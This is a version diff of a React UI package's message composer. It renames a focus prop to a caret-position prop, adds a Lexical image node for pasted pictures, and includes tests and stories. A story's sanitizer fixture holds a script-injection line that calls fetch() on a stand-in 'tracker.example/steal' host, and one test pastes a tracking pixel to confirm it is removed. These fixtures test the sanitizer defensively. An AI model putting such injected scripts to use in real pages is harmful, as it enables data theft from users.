@remit/ui 0.0.109 → 0.0.110

package/src/components/plain-text-editor.mount.test.ts

@@ -121,7 +121,7 @@ const mount = async (
 	initial = "",
 	extra: {
 		onSubmit?: () => void;
-		autoFocus?: boolean;
+		initialCaret?: "start" | "end";
 		trailing?: boolean;
 	} = {},
 ): Promise<{ latest: () => string }> => {
@@ -135,7 +135,7 @@ const mount = async (
 					render();
 				},
 				onSubmit: extra.onSubmit,
-				autoFocus: extra.autoFocus,
+				initialCaret: extra.initialCaret,
 				trailing: extra.trailing
 					? createElement(ComposeModeToggle, {
 							mode: "plain",
@@ -157,7 +157,7 @@ describe("PlainTextEditor", () => {
 		await mount();
 
 		assert.equal(container.querySelectorAll("button").length, 0);
-		assert.match(container.textContent ?? "", /Plain text · Markdown/);
+		assert.match(container.textContent ?? "", /Markdown/);
 	});
 
 	it("inserts a pasted web page as Markdown", async () => {
@@ -191,7 +191,7 @@ describe("PlainTextEditor", () => {
 	});
 
 	it("takes focus with the caret at the end when it arrives on a switch", async () => {
-		await mount("Everything written so far.", { autoFocus: true });
+		await mount("Everything written so far.", { initialCaret: "end" });
 
 		await act(async () => {
 			await new Promise((resolve) => setTimeout(resolve, 5));

package/src/components/plain-text-editor.stories.tsx

@@ -50,6 +50,7 @@ const Surface = ({
 					<ComposeLanguageChip
 						language={language}
 						languages={["nl", "en", "de"]}
+						source="detected"
 						onSelect={setLanguage}
 					/>
 					<ComposeModeToggle

package/src/components/plain-text-editor.tsx

@@ -9,13 +9,17 @@ import {
 } from "react";
 import { Banner } from "./banner.js";
 import { htmlToMarkdown } from "./rich-text-document.js";
+import type { ComposeCaret } from "./rich-text-value.js";
 
 export interface PlainTextEditorProps {
 	value: string;
 	onChange: (text: string) => void;
 	onSubmit?: () => void;
-	/** Takes focus on mount, caret after the last character. */
-	autoFocus?: boolean;
+	/**
+	 * Where the caret lands when the surface takes focus on mount. Absent, it
+	 * does not take focus.
+	 */
+	initialCaret?: ComposeCaret;
 	placeholder?: string;
 	ariaLabel?: string;
 	/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
@@ -60,7 +64,7 @@ export const PlainTextEditor = ({
 	value,
 	onChange,
 	onSubmit,
-	autoFocus = false,
+	initialCaret,
 	placeholder = "Write your message…",
 	ariaLabel = "Message body",
 	trailing,
@@ -87,16 +91,16 @@ export const PlainTextEditor = ({
 	}, [value]);
 
 	useEffect(() => {
-		if (!autoFocus) return;
+		if (!initialCaret) return;
 		const textarea = textareaRef.current;
 		if (!textarea) return;
 		const timer = setTimeout(() => {
 			textarea.focus();
-			const end = textarea.value.length;
-			textarea.setSelectionRange(end, end);
+			const at = initialCaret === "start" ? 0 : textarea.value.length;
+			textarea.setSelectionRange(at, at);
 		}, 0);
 		return () => clearTimeout(timer);
-	}, [autoFocus]);
+	}, [initialCaret]);
 
 	const handleKeyDown = (event: KeyboardEvent<HTMLTextAreaElement>) => {
 		// `Shift` on the paste keystroke selects the text flavour, matching Gmail
@@ -144,9 +148,11 @@ export const PlainTextEditor = ({
 				<div className="flex items-center gap-2 px-3 py-1">
 					{/* `aria-pressed` on the toggle conveys the mode, not the fact that
 					    Markdown syntax is read here, so this line is the only way either
-					    a screen reader or someone who typed `## ` learns it. */}
+					    a screen reader or someone who typed `## ` learns it. It does not
+					    repeat the toggle's own words back at it from the other end of the
+					    same strip. */}
 					<span className="min-w-0 truncate py-2 text-xs text-fg-muted">
-						Plain text · Markdown
+						Markdown
 					</span>
 					{trailing && (
 						<div className="ml-auto flex shrink-0 items-center gap-1">
@@ -168,9 +174,10 @@ export const PlainTextEditor = ({
 			{/* 16px, not the editor's `text-sm`: iOS Safari zooms the viewport when a
 			    form control under 16px takes focus and never zooms back, and
 			    contenteditable is exempt — so `text-sm` would be a regression
-			    exclusive to plain mode. Monospace with no soft wrap, because a pipe
-			    table in a proportional face that breaks mid-row reads as the broken
-			    output this mode exists to avoid. */}
+			    exclusive to plain mode. Monospace keeps a pipe table aligned while it
+			    fits. It soft-wraps: prose is what most plain messages are, and a
+			    message whose every paragraph runs off the right edge cannot be read
+			    back at all, which is the worse of the two failures at 390. */}
 			<textarea
 				ref={textareaRef}
 				value={value}
@@ -181,9 +188,8 @@ export const PlainTextEditor = ({
 				aria-label={ariaLabel}
 				placeholder={placeholder}
 				data-testid="compose-body-plain"
-				wrap="off"
 				spellCheck
-				className="w-full shrink-0 grow resize-none overflow-x-auto whitespace-pre bg-canvas px-3 py-2 font-mono text-base text-fg outline-none placeholder:text-fg-subtle"
+				className="w-full shrink-0 grow resize-none whitespace-pre-wrap break-words bg-canvas px-3 py-2 font-mono text-base text-fg outline-none placeholder:text-fg-subtle"
 			/>
 		</div>
 	);

package/src/components/rich-text-editor.stories.tsx

@@ -70,6 +70,25 @@ const CLIPBOARD_HTML = [
 	'<script>fetch("https://tracker.example/steal")</script>',
 ].join("");
 
+const MARK =
+	"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNDAiIGhlaWdodD0iMTIwIj48cmVjdCB3aWR0aD0iMjQwIiBoZWlnaHQ9IjEyMCIgcng9IjEyIiBmaWxsPSIjMzc4MGY2Ii8+PGNpcmNsZSBjeD0iNjAiIGN5PSI2MCIgcj0iMzIiIGZpbGw9IiNmZmYiLz48L3N2Zz4=";
+
+const WIDE_SHOT =
+	"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNjAwIiBoZWlnaHQ9IjQwMCI+PHJlY3Qgd2lkdGg9IjE2MDAiIGhlaWdodD0iNDAwIiBmaWxsPSIjZTJlOGYwIi8+PHRleHQgeD0iNDAiIHk9IjIyMCIgZm9udC1mYW1pbHk9InNhbnMtc2VyaWYiIGZvbnQtc2l6ZT0iOTYiIGZpbGw9IiMzMzQxNTUiPjE2MDAgd2lkZTwvdGV4dD48L3N2Zz4=";
+
+/**
+ * A clipboard carrying pictures, which is what a screenshot pasted out of a
+ * graphics app arrives as. The second is 1600 wide — four times the room the
+ * composer has for it.
+ */
+const CLIPBOARD_WITH_IMAGES = [
+	"<p>The new mark:</p>",
+	`<p><img src="${MARK}" alt="The mark"></p>`,
+	"<p>And the header it sits in:</p>",
+	`<p><img src="${WIDE_SHOT}" alt="The header, 1600 wide"></p>`,
+	"<p>Let me know which one reads better.</p>",
+].join("");
+
 export const Empty: Story = {
 	name: "Empty",
 	args: {},
@@ -90,6 +109,40 @@ export const PasteResult: Story = {
 	args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_HTML) },
 };
 
+/**
+ * The pictures are in the document rather than gone from it (#684), and the
+ * oversized one is drawn at the width the composer has rather than pushing the
+ * message sideways. Whether a `data:` image survives the trip to a given
+ * recipient is a separate question, and #679 is where it is answered.
+ */
+export const PastedImages: Story = {
+	name: "After pasting images",
+	args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_WITH_IMAGES) },
+	play: async ({ canvasElement }) => {
+		const editable = canvasElement.querySelector<HTMLElement>(
+			"[data-testid=compose-body]",
+		);
+		if (!editable) throw new Error("the editor is not mounted");
+
+		const images = [...editable.querySelectorAll("img")];
+		await expect(images).toHaveLength(2);
+		await expect(images[0]).toHaveAttribute("alt", "The mark");
+
+		// A width read before the picture decodes is 0, and 0 is under every
+		// bound this would like to assert.
+		await waitFor(() =>
+			expect(images.every((image) => image.naturalWidth > 0)).toBe(true),
+		);
+		await expect(images[1].naturalWidth).toBe(1600);
+		for (const image of images) {
+			await expect(image.getBoundingClientRect().width).toBeGreaterThan(0);
+			await expect(image.getBoundingClientRect().width).toBeLessThanOrEqual(
+				editable.clientWidth,
+			);
+		}
+	},
+};
+
 /**
  * A short message leaves most of the body region empty. That region belongs to
  * the document: the point far below the last line is the editable, and a click
@@ -134,6 +187,7 @@ const PinnedControls = () => {
 			<ComposeLanguageChip
 				language={language}
 				languages={["nl", "en", "de"]}
+				source={language === "nl" ? "detected" : "manual"}
 				onSelect={setLanguage}
 			/>
 			<ComposeModeToggle

package/src/components/rich-text-editor.tsx

@@ -32,7 +32,7 @@ import type {
 	SpellProvider,
 } from "./rich-text-spellcheck.js";
 import { RichTextToolbar } from "./rich-text-toolbar.js";
-import type { RichTextValue } from "./rich-text-value.js";
+import type { ComposeCaret, RichTextValue } from "./rich-text-value.js";
 
 export interface RichTextEditorProps {
 	/**
@@ -42,7 +42,13 @@ export interface RichTextEditorProps {
 	initialHtml?: string;
 	onChange?: (value: RichTextValue) => void;
 	onSubmit?: () => void;
-	autoFocus?: boolean;
+	/**
+	 * Where the caret lands when the surface takes focus on mount. Absent, it
+	 * does not take focus. A message opens at the start, because a signature is
+	 * already in the document and typing belongs above it; a surface arriving
+	 * from a mode switch opens at the end, where the writing stopped.
+	 */
+	initialCaret?: ComposeCaret;
 	placeholder?: string;
 	ariaLabel?: string;
 	/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
@@ -433,14 +439,20 @@ const SpellcheckPlugin = ({
 	return null;
 };
 
-const AutoFocus = ({ enabled }: { enabled: boolean }) => {
+const AutoFocus = ({ caret }: { caret?: ComposeCaret }) => {
 	const [editor] = useLexicalComposerContext();
 
 	useEffect(() => {
-		if (!enabled) return;
-		const timer = setTimeout(() => editor.focus(), 0);
+		if (!caret) return;
+		const timer = setTimeout(
+			() =>
+				editor.focus(undefined, {
+					defaultSelection: caret === "start" ? "rootStart" : "rootEnd",
+				}),
+			0,
+		);
 		return () => clearTimeout(timer);
-	}, [editor, enabled]);
+	}, [editor, caret]);
 
 	return null;
 };
@@ -458,7 +470,7 @@ export const RichTextEditor = ({
 	initialHtml,
 	onChange,
 	onSubmit,
-	autoFocus = false,
+	initialCaret,
 	placeholder = "Write your message…",
 	ariaLabel = "Message body",
 	trailing,
@@ -523,7 +535,7 @@ export const RichTextEditor = ({
 			<LinkPlugin />
 			<TablePlugin />
 			<PastePlugin />
-			<AutoFocus enabled={autoFocus} />
+			<AutoFocus caret={initialCaret} />
 			{onChange && <ChangePlugin onChange={onChange} />}
 			{spellcheck && lang ? (
 				<SpellcheckPlugin

package/src/components/rich-text-formatting.test.ts

@@ -50,9 +50,10 @@ const ROWS: Row[] = [
 		warns: false,
 	},
 	{
-		what: "an image, which no registered node can hold",
+		what: "an image, which plain text can only name",
 		html: '<p>Chart: <img src="https://example.com/chart.png" alt="chart"></p>',
-		warns: false,
+		warns: true,
+		holds: ["image"],
 	},
 	{
 		what: "an underlined word",

package/src/components/rich-text-image-node.test.ts

@@ -0,0 +1,157 @@
+/**
+ * #684: the image node the composer registers, driven the way the editor drives
+ * it — mounted on a real root element, so what is asserted is the picture the
+ * writer sees, and reopened from its own serialization, so it is the draft that
+ * comes back rather than the document that was saved.
+ */
+import assert from "node:assert/strict";
+import { before, describe, it } from "node:test";
+import type { JSDOM } from "jsdom";
+import type { ElementNode, LexicalEditor } from "lexical";
+import type { ImageNode as ImageNodeClass } from "./rich-text-image-node.js";
+
+const LOGO = "https://example.com/logo.png";
+const PIXEL =
+	"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
+const PASTED = `<p>Chart: <img src="${LOGO}" alt="The logo"></p>`;
+
+let openEditor: (html: string) => LexicalEditor;
+let imageOf: (editor: LexicalEditor) => HTMLImageElement;
+let $theImage: () => ImageNodeClass;
+let readHtml: (editor: LexicalEditor) => string;
+let readText: (editor: LexicalEditor) => string;
+
+before(async () => {
+	const { JSDOM: JSDOMCtor } = await import("jsdom");
+	const dom: JSDOM = new JSDOMCtor(
+		"<!doctype html><html><body></body></html>",
+		{ url: "http://localhost/", pretendToBeVisual: true },
+	);
+	globalThis.window = dom.window as unknown as typeof globalThis.window;
+	globalThis.document = dom.window.document;
+	globalThis.DOMParser = dom.window.DOMParser;
+	globalThis.HTMLElement = dom.window.HTMLElement;
+	globalThis.Element = dom.window.Element;
+	globalThis.Node = dom.window.Node;
+	globalThis.MutationObserver = dom.window.MutationObserver;
+	globalThis.Range = dom.window.Range;
+	globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
+
+	const { $getRoot, $insertNodes, $isElementNode, createEditor } = await import(
+		"lexical"
+	);
+	const { $adoptHtml, $readRichText } = await import("./rich-text-document.js");
+	const { ImageNode } = await import("./rich-text-image-node.js");
+	const { RICH_TEXT_NODES, richTextTheme } = await import(
+		"./rich-text-nodes.js"
+	);
+
+	openEditor = (html: string) => {
+		const editor: LexicalEditor = createEditor({
+			namespace: "test",
+			nodes: [...RICH_TEXT_NODES],
+			onError: (error) => {
+				throw error;
+			},
+			theme: richTextTheme,
+		});
+		const root = document.createElement("div");
+		root.contentEditable = "true";
+		document.body.appendChild(root);
+		editor.setRootElement(root);
+		if (html !== "")
+			editor.update(
+				() => {
+					$getRoot().clear();
+					$getRoot().select();
+					$insertNodes($adoptHtml(editor, html));
+				},
+				{ discrete: true },
+			);
+		return editor;
+	};
+
+	imageOf = (editor: LexicalEditor) => {
+		const image = editor.getRootElement()?.querySelector("img");
+		if (!image) throw new Error("the editor is showing no image");
+		return image;
+	};
+
+	$theImage = () => {
+		const found: ImageNodeClass[] = [];
+		const visit = (node: ElementNode) => {
+			for (const child of node.getChildren()) {
+				if (child instanceof ImageNode) found.push(child);
+				if ($isElementNode(child)) visit(child);
+			}
+		};
+		visit($getRoot());
+		if (found.length !== 1)
+			throw new Error(`the document holds ${found.length} images`);
+		return found[0];
+	};
+
+	readHtml = (editor: LexicalEditor) =>
+		editor.read(() => $readRichText(editor)).html;
+	readText = (editor: LexicalEditor) =>
+		editor.read(() => $readRichText(editor)).text;
+});
+
+describe("the image the composer shows", () => {
+	it("draws the picture rather than a placeholder for it", () => {
+		const image = imageOf(openEditor(PASTED));
+
+		assert.equal(image.getAttribute("src"), LOGO);
+		assert.equal(image.getAttribute("alt"), "The logo");
+		assert.match(image.className, /max-w-full/);
+	});
+
+	it("stays on the line it was pasted into", () => {
+		const html = readHtml(openEditor(PASTED));
+
+		assert.match(html, /<p>Chart:\s*<img[^>]*><\/p>/);
+	});
+
+	it("leaves the text alternative to a reader who gets no picture", () => {
+		assert.match(readText(openEditor(PASTED)), /The logo/);
+	});
+});
+
+describe("editing a document that holds an image", () => {
+	it("repoints the picture already on the screen", () => {
+		const editor = openEditor(PASTED);
+		const before = imageOf(editor);
+
+		editor.update(() => $theImage().setSrc(PIXEL), { discrete: true });
+
+		const after = imageOf(editor);
+		assert.equal(after, before);
+		assert.equal(after.getAttribute("src"), PIXEL);
+	});
+
+	it("carries the rest of the image through the edit", () => {
+		const editor = openEditor(PASTED);
+
+		editor.update(() => $theImage().setAlt("A newer logo"), {
+			discrete: true,
+		});
+
+		const image = imageOf(editor);
+		assert.equal(image.getAttribute("alt"), "A newer logo");
+		assert.equal(image.getAttribute("src"), LOGO);
+	});
+});
+
+describe("a draft that held an image", () => {
+	it("reopens with the same picture in it", () => {
+		const saved = JSON.stringify(openEditor(PASTED).getEditorState().toJSON());
+		const reopened = openEditor("");
+
+		reopened.setEditorState(reopened.parseEditorState(saved));
+
+		const html = readHtml(reopened);
+		assert.ok(html.includes(`src="${LOGO}"`));
+		assert.match(html, /alt="The logo"/);
+		assert.match(html, /Chart:/);
+	});
+});

package/src/components/rich-text-image-node.ts

@@ -0,0 +1,124 @@
+import {
+	$applyNodeReplacement,
+	$getDocument,
+	addClassNamesToElement,
+	DecoratorNode,
+	type DOMConversionOutput,
+	type DOMExportOutput,
+	type EditorConfig,
+	type LexicalUpdateJSON,
+	type NodeKey,
+	type SerializedLexicalNode,
+	type Spread,
+} from "lexical";
+
+type SerializedImageNode = Spread<
+	{ src: string; alt: string },
+	SerializedLexicalNode
+>;
+
+/**
+ * Lexical ships no image node, so a pasted `<img>` mapped to nothing and the
+ * picture vanished between the clipboard and the message (#684). It carries
+ * `src` and `alt` and nothing else — the two attributes the paste profile
+ * admits — and renders as the image itself rather than as a placeholder, so
+ * what the composer shows is what the recipient gets.
+ */
+export class ImageNode extends DecoratorNode<null> {
+	/** @internal */
+	__src: string;
+	/** @internal */
+	__alt: string;
+
+	$config() {
+		return this.config("image", {
+			importDOM: {
+				img: () => ({ conversion: $convertImageElement, priority: 0 }),
+			},
+		});
+	}
+
+	constructor(src = "", alt = "", key?: NodeKey) {
+		super(key);
+		this.__src = src;
+		this.__alt = alt;
+	}
+
+	afterCloneFrom(prevNode: this): void {
+		super.afterCloneFrom(prevNode);
+		this.__src = prevNode.__src;
+		this.__alt = prevNode.__alt;
+	}
+
+	createDOM(config: EditorConfig): HTMLImageElement {
+		const element = this.buildImage();
+		addClassNamesToElement(element, config.theme.image);
+		return element;
+	}
+
+	updateDOM(prevNode: this, element: HTMLImageElement): boolean {
+		if (prevNode.__src !== this.__src) element.setAttribute("src", this.__src);
+		if (prevNode.__alt !== this.__alt) element.setAttribute("alt", this.__alt);
+		return false;
+	}
+
+	exportDOM(): DOMExportOutput {
+		return { element: this.buildImage() };
+	}
+
+	exportJSON(): SerializedImageNode {
+		return { ...super.exportJSON(), alt: this.getAlt(), src: this.getSrc() };
+	}
+
+	updateFromJSON(serializedNode: LexicalUpdateJSON<SerializedImageNode>): this {
+		return super
+			.updateFromJSON(serializedNode)
+			.setSrc(serializedNode.src)
+			.setAlt(serializedNode.alt);
+	}
+
+	getSrc(): string {
+		return this.getLatest().__src;
+	}
+
+	setSrc(src: string): this {
+		const writable = this.getWritable();
+		writable.__src = src;
+		return writable;
+	}
+
+	getAlt(): string {
+		return this.getLatest().__alt;
+	}
+
+	setAlt(alt: string): this {
+		const writable = this.getWritable();
+		writable.__alt = alt;
+		return writable;
+	}
+
+	/** The text alternative is what a plain-text reader is left with. */
+	getTextContent(): string {
+		return this.getAlt();
+	}
+
+	isInline(): true {
+		return true;
+	}
+
+	private buildImage(): HTMLImageElement {
+		const element = $getDocument().createElement("img");
+		element.setAttribute("src", this.__src);
+		element.setAttribute("alt", this.__alt);
+		return element;
+	}
+}
+
+const $convertImageElement = (element: HTMLElement): DOMConversionOutput => ({
+	node: $applyNodeReplacement(
+		new ImageNode(
+			element.getAttribute("src") ?? "",
+			element.getAttribute("alt") ?? "",
+		),
+	),
+});

package/src/components/rich-text-nodes.ts

@@ -5,11 +5,13 @@ import { HorizontalRuleNode } from "@lexical/react/LexicalHorizontalRuleNode";
 import { HeadingNode, QuoteNode } from "@lexical/rich-text";
 import { TableCellNode, TableNode, TableRowNode } from "@lexical/table";
 import type { EditorThemeClasses, Klass, LexicalNode } from "lexical";
+import { ImageNode } from "./rich-text-image-node.js";
 
 /**
  * Lexical maps a pasted element only to a node type the editor has registered;
  * anything else collapses to its text. Registering headings, lists, tables,
- * code and rules is what lets adopted structure survive the paste (#671).
+ * code and rules is what lets adopted structure survive the paste (#671), and
+ * an image is the one element the library ships no node for (#684).
  */
 export const RICH_TEXT_NODES: ReadonlyArray<Klass<LexicalNode>> = [
 	HeadingNode,
@@ -24,6 +26,7 @@ export const RICH_TEXT_NODES: ReadonlyArray<Klass<LexicalNode>> = [
 	CodeNode,
 	CodeHighlightNode,
 	HorizontalRuleNode,
+	ImageNode,
 ];
 
 export const richTextTheme: EditorThemeClasses = {
@@ -37,6 +40,7 @@ export const richTextTheme: EditorThemeClasses = {
 		h6: "mt-2 mb-1 text-xs font-semibold uppercase tracking-wide",
 	},
 	hr: "my-3 border-t border-line",
+	image: "inline-block h-auto max-w-full align-bottom",
 	link: "text-accent underline",
 	list: {
 		listitem: "ml-2",

package/src/components/rich-text-paste.test.ts

@@ -10,6 +10,15 @@ import { before, describe, it } from "node:test";
 import type { JSDOM } from "jsdom";
 import type { LexicalEditor } from "lexical";
 
+const PASTED_IMAGE = [
+	"<p>before</p>",
+	'<p><img src="https://example.com/logo.png" alt="The logo"></p>',
+	"<p>after</p>",
+].join("");
+
+const PIXEL =
+	"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
+
 const PASTED = [
 	'<meta charset="utf-8">',
 	'<h2 style="color:#111">Quarterly numbers</h2>',
@@ -106,3 +115,42 @@ describe("adopting pasted HTML", () => {
 		assert.match(text, /\*\*this quarter\*\*/);
 	});
 });
+
+/**
+ * #684: the sanitizer admitted the element and the editor had nowhere to put
+ * it, so the picture was gone by the time the paste landed — between two
+ * paragraphs that both survived.
+ */
+describe("adopting a pasted image", () => {
+	it("keeps the image between the text around it", () => {
+		const { html } = adoptAndSerialize(PASTED_IMAGE);
+
+		assert.match(html, /<img[^>]+src="https:\/\/example\.com\/logo\.png"/);
+		assert.match(html, /<img[^>]+alt="The logo"/);
+		assert.match(html, /before/);
+		assert.match(html, /after/);
+	});
+
+	it("keeps an image the clipboard carried as its own data", () => {
+		const { html } = adoptAndSerialize(
+			`<p><img src="${PIXEL}" alt="A pixel"></p>`,
+		);
+
+		assert.ok(html.includes(`src="${PIXEL}"`));
+		assert.match(html, /alt="A pixel"/);
+	});
+
+	it("sends the image with a width the recipient's layout survives", () => {
+		const { html } = adoptAndSerialize(PASTED_IMAGE);
+
+		assert.match(html, /<img[^>]+style="max-width:100%;height:auto"/);
+	});
+
+	it("drops an image this app would not send", () => {
+		const { html } = adoptAndSerialize(
+			'<p><img src="http://tracker.example/px.gif"></p>',
+		);
+
+		assert.equal(html.includes("<img"), false);
+	});
+});

package/src/components/rich-text-value.ts

@@ -17,6 +17,12 @@ export interface RichTextValue {
 	formatting: readonly string[];
 }
 
+/**
+ * Where a writing surface puts the caret when it takes focus on mount. Both
+ * surfaces read it, so it lives with the value rather than with either one.
+ */
+export type ComposeCaret = "start" | "end";
+
 export const EMPTY_RICH_TEXT: RichTextValue = {
 	html: "",
 	text: "",